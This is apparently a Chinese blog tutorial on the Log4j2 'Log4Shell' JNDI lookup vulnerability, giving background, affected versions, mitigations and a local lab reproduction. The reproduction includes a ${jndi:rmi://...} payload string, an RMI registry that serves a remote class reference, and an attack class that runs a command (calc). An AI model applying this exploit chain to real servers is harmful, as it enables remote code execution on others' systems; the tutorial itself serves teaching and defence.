Apache Log4j2模拟漏洞复现及解决方案

554 阅读2分钟

前言:上周五有关开源日志框架Log4j2高危漏洞预警发出后,这几天各大互联网公司都在加班加点做紧急漏洞处理。这是个什么漏洞呢?有多大危害,搞得互联网任人心惶惶!

漏洞背景

开源框架Apache Log4j2是一款非常优秀的日志记录框架,功能丰富,性能优越,应用于大量的业务系统中,深受广大java开发者的喜爱。 本次漏洞其实是基于log4j2的lookup功能造成的,当用户输入的日志参数非法${XXX}时,log4j2并没有做严格的校验,而是会解析非法参数${}中的内容并执行。这样就会给一些非法分子利用此漏洞的机会,发送一些系统操作命令,从而控制服务器,造成不可估量的损失。

影响范围

2.0版本到2.15.0-rc1均会收到影响 一些开源工具也收到影响(flink/solr/druid/kafka...)

解决方案

紧急方案: jvm启动参数增加配置 -Dlog4j2.formatMsgNoLookups=true

最终方案: 及时更新至Apache Log4j 2.15.0-rc2版本

漏洞复现

整体流程 请添加图片描述

模拟业务逻辑打印日志

新建工程并添加依赖

<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter</artifactId>
	<exclusions>
		<exclusion>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-logging</artifactId>
		</exclusion>
	</exclusions>
</dependency>

<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-test</artifactId>
	<scope>test</scope>
	<exclusions>
		<exclusion>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-logging</artifactId>
		</exclusion>
	</exclusions>
</dependency>

<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

==本示例新建springboot工程,默认logback,所以需要排除掉==

新建Log4j2执行示例

public class Log4j2LoopholeService {

    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        //本地jdk版本是1.8.0_131  默认下面配置为false  所以修改此配置
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//        String name = "qrainly";
//        String name = "${java:vm}";
//        String name = "${java:os}";
        String name = "${java:version}";
//        String name = "${java:locale}";
//        String name = "${java:runtime}";
//        String name = "${java:hw}";
//        String name = "${jndi:rmi://127.0.0.1:1099/obj}";
        logger.info("name->====={}=====", name);
    }
}

模拟JNDI注入服务

新建Rmi动态注册服务

public class RmiRegistryServer {

    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] argv) throws RemoteException, NamingException, AlreadyBoundException {
        //启动RMI注册服务,指定端口为1099 (1099为默认端口)
        //也可以通过命令 $java_home/bin/rmiregistry 1099启动  (再打开一个DOS窗口且必须事先用RMIC生成一个stub类为它所用)
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("AttackObject","AttackObject","http://127.0.0.1:80/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("obj",wrapper);
        logger.info(">>>>>>>>>>>>>>>>>>>>>RmiRegistryServer is successful<<<<<<<<<<<<<<<<");
    }
}

新建攻击类

public class AttackObject implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println(">>>>>>>>>>>>>>>>>>执行攻击代码<<<<<<<<<<<<<<<<<<");
//        Process process = Runtime.getRuntime().exec("notepad.exe");
        Process process = Runtime.getRuntime().exec("calc");
        return null;
    }
}

绑定攻击类编译文件到Nginx的html目录下

在这里插入图片描述

模拟攻击注入

启动Nginx

在这里插入图片描述

启动Rmi注册服务

在这里插入图片描述

执行模拟业务main方法

执行结果 在这里插入图片描述 日志参数非法执行唤起计算器,当然这是我本地模拟攻击实现,如果是其他执行命令执行,例如删除某些文件,关机等操作,将给我们应用服务带来不可估量的损失。

本文示例代码: log4j2-loophole.

后续

互联网安全问题是我们每一个互联网人都要认真对待的事情,防患于未然,认真对待落实安全问题,才能够有效保证我们的财产安全。

持续更新中